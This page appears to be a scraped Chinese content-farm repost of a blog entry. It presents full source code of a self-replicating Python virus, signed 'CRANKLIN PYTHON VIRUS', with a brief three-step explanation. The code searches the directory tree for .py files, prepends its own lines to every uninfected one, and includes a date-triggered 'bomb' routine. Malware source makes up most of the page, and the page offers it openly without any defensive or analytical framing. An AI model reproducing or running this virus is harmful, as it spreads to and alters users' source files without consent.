1200字范文,内容丰富有趣,写作的好帮手!
1200字范文 > python病毒代码大全_python病毒 - osc_bx0x099p的个人空间 - OSCHINA - 中文开源技术交流社区...

python病毒代码大全_python病毒 - osc_bx0x099p的个人空间 - OSCHINA - 中文开源技术交流社区...

时间:2021-03-05 07:12:36

相关推荐

python病毒代码大全_python病毒 - osc_bx0x099p的个人空间 - OSCHINA - 中文开源技术交流社区...

介绍

源码

分为3个部分

1、搜索,搜寻所有的python脚本

2、取出当前文件的前39行,也就是这个脚本的长度,然后将这个脚本写道所有找到的python脚本中去

3、其他行为

#!/usr/bin/python

import os

import datetime

SIGNATURE = "CRANKLIN PYTHON VIRUS"

def search(path):

filestoinfect = []

filelist = os.listdir(path)

for fname in filelist:

if os.path.isdir(path+"/"+fname):

filestoinfect.extend(search(path+"/"+fname))

elif fname[-3:] == ".py":

infected = False

for line in open(path+"/"+fname):

if SIGNATURE in line:

infected = True

break

if infected == False:

filestoinfect.append(path+"/"+fname)

return filestoinfect

def infect(filestoinfect):

virus = open(os.path.abspath(__file__))

virusstring = ""

for i,line in enumerate(virus):

if i>=0 and i <39:

virusstring += line

virus.close

for fname in filestoinfect:

f = open(fname)

temp = f.read()

f.close()

f = open(fname,"w")

f.write(virusstring + temp)

f.close()

def bomb():

if datetime.datetime.now().month == 1 and datetime.datetime.now().day == 25:

print "HAPPY BIRTHDAY CRANKLIN!"

filestoinfect = search(os.path.abspath(""))

infect(filestoinfect)

bomb()

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。